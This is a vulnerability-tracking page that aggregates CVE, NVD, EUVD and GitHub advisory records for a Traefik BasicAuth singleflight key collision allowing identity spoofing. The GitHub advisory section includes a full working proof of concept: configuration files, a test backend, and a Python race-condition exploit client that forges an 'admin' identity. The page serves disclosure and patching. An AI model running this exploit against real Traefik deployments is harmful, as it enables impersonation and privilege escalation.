Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

Traefik: BasicAuth singleflight key collision allows authenticated identity spoofing

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

cve-program · CVE-2026-71326

Published

Traefik is an open source HTTP reverse proxy and load balancer. From 3.6.11 until 3.6.25 and 3.7.10, Traefik's BasicAuth middleware in pkg/middlewares/auth/basic_auth.go deduplicates concurrent password checks with a singleflight key built from the delimiter-free concatenation of password and secret, allowing an attacker who has a valid credential and the stored hash to authenticate as an unconfigured username when headerField trusts the forwarded identity. This issue is fixed in 3.6.25 and 3.7.10.

Source published
6 Aug 2026 16:34:23 UTC
Source modified
8 Aug 2026 02:12:44 UTC
Saved here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · 2.1 CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

euvd · EUVD-2026-54297

Published

Traefik is an open source HTTP reverse proxy and load balancer. From 3.6.11 until 3.6.25 and 3.7.10, Traefik's BasicAuth middleware in pkg/middlewares/auth/basic_auth.go deduplicates concurrent password checks with a singleflight key built from the delimiter-free concatenation of password and secret, allowing an attacker who has a valid credential and the stored hash to authenticate as an unconfigured username when headerField trusts the forwarded identity. This issue is fixed in 3.6.25 and 3.7.10.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Aug 6, 2026, 4:34:23 PM

dateUpdated: Aug 8, 2026, 2:12:44 AM

Source published
Aug 6, 2026, 4:34:23 PM (timezone not stated)
Source modified
Aug 8, 2026, 2:12:44 AM (timezone not stated)
Saved here
11 Nov 2026 16:02:19 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 4.0 · 2.1 CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

nvd · CVE-2026-71326

Published

Traefik is an open source HTTP reverse proxy and load balancer. From 3.6.11 until 3.6.25 and 3.7.10, Traefik's BasicAuth middleware in pkg/middlewares/auth/basic_auth.go deduplicates concurrent password checks with a singleflight key built from the delimiter-free concatenation of password and secret, allowing an attacker who has a valid credential and the stored hash to authenticate as an unconfigured username when headerField trusts the forwarded identity. This issue is fixed in 3.6.25 and 3.7.10.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-287

Original publisher date fields

published: 2026-08-06T22:18:29.650

lastModified: 2026-09-16T20:44:44.453

1 source CPE criteria · context only
  • cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published
6 Aug 2026 22:18:29 UTC
Source modified
16 Sep 2026 20:44:44 UTC
Saved here
25 Oct 2026 15:18:57 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · [email protected] · Secondary · 2.1 CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 3.8 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N

osv · GHSA-6765-c87h-8mrf

Published

## Summary There is a low severity vulnerability in Traefik's BasicAuth middleware. Concurrent password verifications are deduplicated through a singleflight group whose key was the delimiter-free concatenation of the submitted password and the stored secret, so a request carrying an unconfigured username — whose secret is empty — can produce the same key as a configured user's valid request and receive that request's successful result. Exploitation requires the attacker to already hold a valid credential **and** to read the stored password hash, which is only reachable through paths that are themselves privileged: the API is documented as admin-only, the Kubernetes path requires read access to the Secret, and the Docker path requires access to the socket. The key now encodes the password length as a prefix, so distinct (password, secret) pairs can no longer collide. Only the v3.6 line from v3.6.11 onwards and the v3.7 line are affected; earlier v3 releases and the v2 line do not carry the vulnerable deduplication path. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.6.25 - https://github.com/traefik/traefik/releases/tag/v3.7.10 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ## Summary Traefik's BasicAuth middleware deduplicates concurrent password checks with a `singleflight.Group`. Its key is the delimiter-free concatenation `password + secret`. For an existing user with password `P` and stored hash `H`, the key is `P || H`. An unknown user can select the password `P || H`; because its secret is the empty string, its key is also `P || H`. If the existing user's request starts the shared calculation, the unknown user receives the existing user's successful Boolean result. Traefik then continues processing the unknown user's original request and propagates the attacker-selected username through `URL.User`, the access log, and the configured BasicAuth `headerField`. A user who knows one valid username/password/hash tuple can therefore authenticate concurrently under any unconfigured username. This becomes a privilege escalation when a backend uses the BasicAuth `headerField` as a trusted identity, which is the documented purpose of that option. ## Details The vulnerable logic is in `pkg/middlewares/auth/basic_auth.go:118-131`: ```go func (b *basicAuth) checkPassword(user, password string) bool { secret := b.auth.Secrets(user, b.auth.Realm) key := password + secret match, _, _ := b.singleflightGroup.Do(key, func() (any, error) { if secret == "" { _ = b.checkSecret(password, b.notFoundSecret) return false, nil } return b.checkSecret(password, secret), nil }) return match.(bool) } ``` For a configured user `viewer`: ```text password = P secret = H key = P || H result = true ``` For an unconfigured user `admin`: ```text password = P || H secret = "" key = (P || H) || "" = P || H ``` `singleflight.Group.Do` shares the first in-flight result for equal keys. If the configured user's check is first, the unknown user's closure is not run and the unknown request receives `true`. The authorization result is not bound to the username. After the shared result is accepted, `ServeHTTP` uses the username parsed from the unknown request: ```go req.URL.User = url.User(user) if b.headerField != "" { req.Header.Del(b.headerField) req.Header[b.headerField] = []string{user} } ``` Consequently, the backend sees the attacker-selected `admin` identity, not the valid request's `viewer` identity. ### Attack prerequisites The attacker needs: 1. network access to a route protected by the affected BasicAuth middleware; 2. one valid low-privilege username and password; 3. the corresponding stored password hash. The hash is often present in deployment labels or routing configuration. Traefik's API is also a direct source when the attacker can access it: `GET /api/http/middlewares/{id}` serializes `basicAuth.users`, including the hash, despite the field carrying `loggable:"false"`. The official v3.7.8 binary returned the hash in the validation environment. The attacker does not need another user's password or a victim-generated request. The attacker creates both concurrent requests: one with their valid credentials and one with an arbitrary, unconfigured target username. ### Security impact When `headerField` is configured, an authenticated low-privilege user can impersonate an arbitrary identity to the backend. Depending on downstream authorization, this can allow: - access to administrative data; - execution of privileged state-changing operations; - corruption of audit attribution; - bypass of identity-based tenant or role separation. Without `headerField`, the unknown request is still admitted through the BasicAuth middleware. The practical consequence then depends on whether the protected route treats all authenticated users equally. ## Proof of Concept ### Validation environment - Official Traefik v3.7.8 Linux amd64 release. - Build timestamp: `2026-07-15T12:42:25Z`. - Go version in the release: `go1.26.5`. - Archive SHA-256: `dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7`. - The checksum matched the official `traefik_v3.7.8_checksums.txt` release asset. - No Traefik source files were modified. ### Dynamic configuration The bcrypt hash below is for password `test` and uses cost 12: ```yaml http: routers: app: entryPoints: - web rule: PathPrefix(`/`) middlewares: - auth service: backend middlewares: auth: basicAuth: headerField: X-WebAuth-User removeHeader: true users: - 'viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.' services: backend: loadBalancer: servers: - url: http://127.0.0.1:19090 ``` Save it as `dynamic.yml`. Use this install configuration as `static.yml`: ```yaml global: checkNewVersion: false sendAnonymousUsage: false api: insecure: true entryPoints: web: address: 127.0.0.1:18080 providers: file: filename: /absolute/path/to/dynamic.yml watch: false ``` The API is enabled only to demonstrate that the runtime representation exposes the configured hash. It is not needed if the tester already knows the hash from the configuration. Use this backend as `backend.py`; it responds with the identity Traefik puts in the trusted header: ```python from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer class Handler(BaseHTTPRequestHandler): def do_GET(self): body = (self.headers.get("X-WebAuth-User", "") + "\n").encode() self.send_response(200) self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) def log_message(self, *args): pass ThreadingHTTPServer(("127.0.0.1", 19090), Handler).serve_forever() ``` Start the backend and Traefik in separate shells. Shell 1: ```bash python3 backend.py ``` Shell 2: ```bash ./traefik --configFile=/absolute/path/to/static.yml ``` ### Exploit client ```python import base64 import http.client import json import threading import time import urllib.request HOST = "127.0.0.1" PORT = 18080 PASSWORD = "test" HASH = "$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u." def request(user, password): conn = http.client.HTTPConnection(HOST, PORT, timeout=5) token = base64.b64encode(f"{user}:{password}".encode()).decode() conn.request("GET", "/", headers={"Authorization": f"Basic {token}"}) response = conn.getresponse() body = response.read().decode().strip() status = response.status conn.close() return status, body middleware = json.load( urllib.request.urlopen( "http://127.0.0.1:8080/api/http/middlewares/auth%40file" ) ) print("api_users", middleware["basicAuth"]["users"]) print("valid_baseline", request("viewer", PASSWORD)) print("attacker_baseline", request("admin", PASSWORD + HASH)) wins = 0 for _ in range(25): valid_result = {} valid = threading.Thread( target=lambda: valid_result.setdefault( "result", request("viewer", PASSWORD) ) ) valid.start() time.sleep(0.005) attack = request("admin", PASSWORD + HASH) valid.join() if attack == (200, "admin"): wins += 1 print("forged_admin_successes", wins, "of", 25) ``` ### Observed output ```text api_users ['viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.'] valid_baseline (200, 'viewer') attacker_baseline (401, '401 Unauthorized') forged_admin_successes 25 of 25 ``` The negative control proves that `admin` is not configured and cannot authenticate alone. During the collision, all 25 requests were admitted and the backend received the forged identity `admin`. The same behavior was first reproduced with Apache MD5. Its much shorter hash calculation window yielded 2 successful identity forgeries in 100 attempts. Using normal production-strength bcrypt made the race deterministic in this environment because the expensive comparison remains in flight long enough for the second request to join it. ## Impact An attacker with read access to a configured password hash and the ability to send concurrent requests can authenticate as an unconfigured username. When `headerField` is enabled, the attacker-selected username is forwarded to the backend as a trusted authenticated identity, enabling privilege impersonation, unauthorized data access, unauthorized actions, and incorrect security audit attribution. Without `headerField`, the request still bypasses BasicAuth and reaches the protected service. </details> ---

Source published
6 Aug 2026 16:34:38 UTC
Source modified
18 Aug 2026 15:10:47 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Publisher rating · LOW

osv · GO-2026-6204

Published

Traefik: BasicAuth singleflight key collision allows authenticated identity spoofing in github.com/traefik/traefik

Source published
18 Aug 2026 14:32:29 UTC
Source modified
18 Aug 2026 15:00:14 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 13 Nov 10:02 UTC · 274 of 275 readable · 272 fully read · documentation 469/469 current